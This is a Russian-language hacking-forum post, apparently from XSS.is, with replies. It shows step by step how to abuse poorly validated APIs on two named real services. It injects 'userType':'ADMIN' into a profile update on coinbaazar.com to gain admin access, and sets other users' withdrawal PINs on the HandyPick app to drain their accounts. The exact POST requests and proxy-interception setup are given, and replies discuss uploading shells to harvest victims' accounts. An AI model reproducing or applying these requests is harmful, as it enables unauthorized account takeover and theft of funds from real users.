• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Вскрываем сайты через кривое API

Dead_silence

(L3) cache
Пользователь
Регистрация
04.08.2021
Сообщения
288
Реакции
60
В данной статье я бы хотел показать как можно эксплуатировать плохо настроенный API.

Покажу на примере www.coinbaazar.com

1. Регистрируем аккаунт

2. Заходим в настройки аккаунта и смотрим что можно такого сменить дабы отловить обычный запрос, в нашем случае можно просто ник сменить.

Смена ника.PNG


3. Ловим такой запрос

Код:
POST

https://www.coinbaazar.com/api/v1/user/updateUserInfo

{"_id":"******3f6e2f**1e900******","name":"XSS"}

Ловим программой (снифером) HttpAnalyzerStdV7 для меня он удобней в плане снифа WEB

1snimok.png



4. В данном случае айди "_id" сайт воспринимает какому человеку менять, а name можно менять на что угодно, лично я сменил на userType для повышении привилегий

Как я обычно ищу переменную отвечающую за привилегию юзера ? всё просто ! снифаем момент авторизации, в этот момент сервер возвращает всю инфу об аккаунте, дальше остаётся только
поискать среди ответов то что нам надо


2snimok.png



Теперь как скинуть нужный нам запрос на сервер, я использую Private Keeper в нём спакойно можно составить свой запрос но в есть более лёгкий вариант это дополнение к браузеру Tamper Dev


Tamper Dev


Он ловит запрос и даёт вам его изменить до отправки на сервер.

То есть вам просто надо поймать момент запроса на смену данных и добавить переменную userType и поставить нужное значение.

Получилось так...

Код:
{"_id":"******3f6e2f**1e900******"","userType":"ADMIN"}

и отсылаем на сервер любым удобным способом !!!

5. Остаётся найти админку - https://admin.coinbaazar.com/ и подключится


Админка.PNG



В моём случае Админ Панель на поддомене, для её поиска можно использовать этот сервис - https://subdomainfinder.c99.nl/ (поиск поддоменов) или этот https://suip.biz/ru/?act=subfinder

Так же можно дюпать баланс (правда бан системой сразу) менять другим юзерам почты пароли да что угодно и на что хватит фантазии...
Таких сайтов (приложений прилично встречал) везде по разному эта уязвимость действует, где то пины сменить можно без 2fa где то юзерам пароли по сносить, на всё что хватит вашей фантазии, иногда можно положить BD отправив большой обьём данных в переменой и он их сохраняет
Если кривая адмнка то можно ещё Shell пролить

Продолжаем абузить кривое API...

Возьмём другой пример, приложение на Андроид - HandyPick

Для брутфорсеров частая проблема встаёт в PIN для вывода монеток, тут рассмотрим пример как можно менять эти пины

pin.PNG


Видим такую картину при регистрации, печаль беда, но не спешим бросать наше дело, ставим пин и продолжаем !!!
Всё так же ловим запрос на смену данных

1. Ловим запрос
----------------------------------------------

Код:
POST

https://appapi.handypick.io/user/update

{"id":347***1,"picture":null,"nickname":"UUFh4isdfs","bio":""}

Теперь у нас приложение на телефоне и HttpAnalyzerStdV7 уже не подойдёт !!!

Для приложения я использую Fiddler 4 + NoxPlayer (эмулятор Android)

Как настроить Fiddler ?!

Во-первых, вы должны включить параметр Разрешить удаленным компьютерам подключаться в Fiddler

1. Откройте Fiddler и выберите Инструменты -> Параметры
2. Выберите вкладку Подключения
3. Установите флажок Разрешить подключение удаленных компьютеров, чтобы включить эту настройку
4. Перезапустите Fiddler, чтобы изменения вступили в силу

Fiddler теперь прослушивает порт 8888 (это порт по умолчанию, вы можете изменить его с помощью приведенных выше настроек).

untitled317f8adf80ac4a4187c7b474dd560917.png


Настройка устройства Android...

Как только Fiddler прослушивает, мы должны использовать его в качестве прокси-сервера в Android.

1. Откройте меню Wi-Fi.
2. Нажмите и удерживайте текущую сеть, чтобы отобразить сведения о сети
3. Выберите опцию Управление сетевыми настройками
4. Установите флажок Показывать дополнительные параметры
5. Выберите Ручной из выпадающего списка Прокси
6. Введите свой IP-адрес в поле Имя хоста прокси-сервера
7. ПРИМЕЧАНИЕ: Вы можете проверить свой IP-адрес, наведя указатель мыши на значок сетевого подключения на панели инструментов Fiddler.
8. Введите порт прослушивания Fiddler (по умолчанию 8888) в поле Порт прокси-сервера
9. Нажмите кнопку Сохранить, чтобы применить изменения

screenshot_20190107-140301_settingscfa16fd2cfb14087ac4e2ed3343a64f5.jpg


Трафик вашего устройства должен быть виден в Fiddler


При текущей настройке вы должны иметь возможность перехватывать HTTP-трафик. Однако, если вы попытаетесь открыть любой веб-сайт HTTPS, вы получите сообщение о том,
что сертификат безопасности этого сайта не является доверенным! ошибка. Чтобы исправить это, вы должны доверять корневому сертификату Fiddler.

1. В вашем браузере перейдите к http://ipv4.fiddler:8888
2. Загрузите корневой сертификат Fiddler.
3. Установите сертификат на свое устройство.

И всё теперь вы можете спокойно снифать Android приложение где нету защиты...

Так, а мы остановились на том что нам надо поймать запрос всё так же в смене никнейма в профиле

Код:
POST

https://appapi.handypick.io/user/update

{"id":347***1,"picture":null,"nickname":"UUFh4isdfs","bio":""}
-----------------------------------------------------------------------------------------------------------------

2. Теперь идём искать как называется переменная для пин кода

Так как это наш акк для теста мы просто меняем PIN и снифаем запрос получаем pincode теперь мы знаем название переменой и идём менять

Получается вот такой POST запрос

Код:
POST

https://appapi.handypick.io/user/update

{"id":34***31,"picture":null,"nickname":"UUFh4isq","bio":"","pincode":"222222"}

В этом cлучае для отправки запроса лучше конечно уже использовать Private Keeper

не забываем менять ник иначе не пропустит

Код:
"results":1

Запрос сменился данные поменялись, теперь идём на акк который хотим обнулить и проворачиваем систему, получаем PIN и выводим

Рассмотрим ещё способ как сменить он очень простой !!!

Когда меняется пин запрос вот такой

Код:
POST

https://appapi.handypick.io/user/change-pincode

{"email":"******@songsign.com","new_pincode":"111111"}

Как мы видим тут нету 2FA кода который идёт на почту, а значит это просто визуальная защита то есть приложение не как не отслеживает прошли мы 2fa для смены пина или нет и достаточно просто повторить запрос на смену

Если где то что вы недопоняли, я открыт для помощи, напишите мне в лс и я объясню.
 
Последнее редактирование:
Весьма неплохо расписано, таки иногда краткость-сестра таланта. К слову о первом сайте видел я такой 1 в 1, но вот только там система не дает вывода ни с какого акка)) изначально как скам проект сделан, они собирают депозиты, на вывод не дают профит себе берут.
 
Весьма неплохо расписано, таки иногда краткость-сестра таланта. К слову о первом сайте видел я такой 1 в 1, но вот только там система не дает вывода ни с какого акка)) изначально как скам проект сделан, они собирают депозиты, на вывод не дают профит себе берут.
Спасибо )
Была бы админка нормальной можно было бы shell пролить и собрать акки горе трейдеров, тоже был бы вкусный улов
 
Подредачил тему, но я не думаю что тут есть 7к символов admin пропусти, 7к символом рил жёстко
А смысл? Статья не подходит ни по одному критерию.

Принимаемые тематики статей:

  • Методы закрепления в режиме пользователя либо ядра в Windows и Linux.
  • Создание и модификация 0/1day эксплойтов под Windows либо Linux.
  • Реверсинг: анализ и модификация вредоносного кода.
  • Методики противодействия защитному ПО, скрытие вредоносного кода.
  • Пентестинг Active Directory: повышение привилегий, сбор данных, работа с фреймворками для пост-эксплуатации.
  • Социальная инженерия, мошенничество: разбор реальных кейсов, свой опыт.
  • Радио-электронное вооружение: эксплуатация, сборка и модификация техники.
 
Где в твоей статье повышение привилегий в AD?
Повышения до админа в приложении не подходит ?

А рассказать историю как заскамил мамонта это другой базар, бред, пусть admin глянет если тема реально так хуёва то пусть удалит
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Админы вы хотите без воды но требуете 7к символов, странная логика )))
7к символов - это мало на самом то деле, зависит от информативности, некоторые темы в 7к не уложить так, чтобы нормально объяснить.
 
7к символов - это мало на самом то деле, зависит от информативности, некоторые темы в 7к не уложить так, чтобы нормально объяснить.
А если человек нашёл супер классную уязвимость через одну строчку кода то что ему делать ?) нахуй идти ?)
(я не про себя)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ничего об L7 нет в критериях. Речь про Active Directory на серверах Windows.
думаю нормальную статью бы все равно пропустили, но по мне эта уж точно не для конкурса)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
А если человек нашёл супер классную уязвимость через одну строчку кода то что ему делать ?)
Это конкурс статей, а не конкурс классных уязвимостей. Смысл в обмене знаниями, а не в том, чтобы дать толпе скрипткидиссов красную кнопку для взлома пентагона. Ничто не мешает тебе описать, как ты эту уязвимость нашел, на чем она базируется, как триггерится внутри системы и тд. Будет гораздо больше 7000 букаф.

И да, если у тебя есть классная уязвимость, ты и так можешь на ней больше заработать, чем первое место в конкурсе тебе даст.
 
Подредачил тему, но я не думаю что тут есть 7к символов admin пропусти, 7к символом рил жёстко
Пока не поздно налей воды, это не раз обсуждалось у меня лично две также забрили
149706209.gif
мне вот такой подход написание нравиться не много текста, много ошибок но по х#й за то все по сути 149706209.gif
думаю нормальную статью бы все равно пропустили, но по мне эта уж точно не для конкурса)
Не важно, правило есть правило, за то как на месяц продлить да по х#й все правила 149706209.gif
 
Пока не поздно налей воды, это не раз обсуждалось у меня лично две также забрили Посмотреть вложение 33533 мне вот такой подход написание нравиться не много текста, много ошибок но по х#й за то все по сути Посмотреть вложение 33533

Не важно, правило есть правило, за то как на месяц продлить да по х#й все правила Посмотреть вложение 33533
В прошлый раз было 7 статей и 7 мест, это конкурсом было бы трудно назвать, тупа раздача денях, вот и продлили на месяц, кстати говоря вполне резонно, т.к. появилось достаточно много новых статей.


Если говорить о топике, то впринципе здесь можно на 7к символов залить воды, про то на каких сайтах можно найти, как я понял они на Ноде базируются что кстати можно по подробнее раскрыть и будет 7к символов
 
для разработки ПО теперь надо создавать команду челов с 10 iq для придумывания имен для переменных.
На выходе имеем переменные с ошибками совсем не относящиеся к проекту, другой челик с 10iq который способен додуматься до таких слов теоретически не сможет юзать с целью взлома программ.
 
В прошлый раз было 7 статей и 7 мест, это конкурсом было бы трудно назвать, тупа раздача денях.
Но так на х#й тогда правила то не пойму а если в этом конкурсе будет пять (статей) уверен что их больше десяти не будет как всегда, в том было не семь а десять или 11 точно не помню, потом продлили, это просто не честно вот и все, кто то спешил сука обломался что бы успеть а кто то бля не спеша написал потому что не успел на первый заход, что опять продлят, Вы определись тогда все кто сомневается, если сказали месяц то месяц и не х#й тут прыгать это (спонсору и Админу)
кстати говоря вполне резонно, т.к. появилось достаточно много новых статей.

Так и предлагаю второй раз тыц увеличить на месяц что было время на тесты и подбор статьи, что их стало больше и не спорил, что лишний раз подтверждает моё предложение не заниматься хуней тут а делать два месяца и убрать это ограничение в 7000.к долбо*бов знаков, вот это у же третья статья которая не попадет на конкурс и заебанного количества букв, на том то же вроде не одна улетела тупо, также предлагал как у же делали на exp статьи и заметки это самый оптимальный варик, за статьи призовые были больше а вот такие как в этом топе нормально бы ушла в заметки так имеет место быть.
 
Не ожидал такого фидбека на самом деле, мне уже люди в лс пишут с вопросами по этой теме
admin если эта тема не подойдёт для конкурса тупа из за того что тут нет 7к символом это бред и не справедливо, я могу например ещё щас добить тему 1 примером где таким багом можно топовый магазин ушатать перезаполнением его памяти, но смысл если я и так уже мысль передал
Хочется услышать ответ админа, есть смысл добивать примером тему для этих блядских 7к символом или это правило будет пересмотрено и я пройду дальше
 
Добрый день. Обсуждалось и не раз, правильно xrahitel написал выше. Мне совершенно не жалко пропустить статью с меньшим количеством символов, но это будет означать, что статья от следующего конкурсанта будет еще меньше, а аргумент у человека будет "почему ему пропустили, а мне нет", а через пару статей люди будут выкидывать, условно говоря, скулю на сайте гмаил.ком и требовать допустить их к участию (баг ведь крутой, таргет - крутой, бд слита крутая). Но мы не покупаем здесь баги или уязвимости, мы проводим конкурс статей. А это предполагает разжевывание для других (в т.ч. и полных новичков). Правила - есть правила. Надеюсь, смог объяснить.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх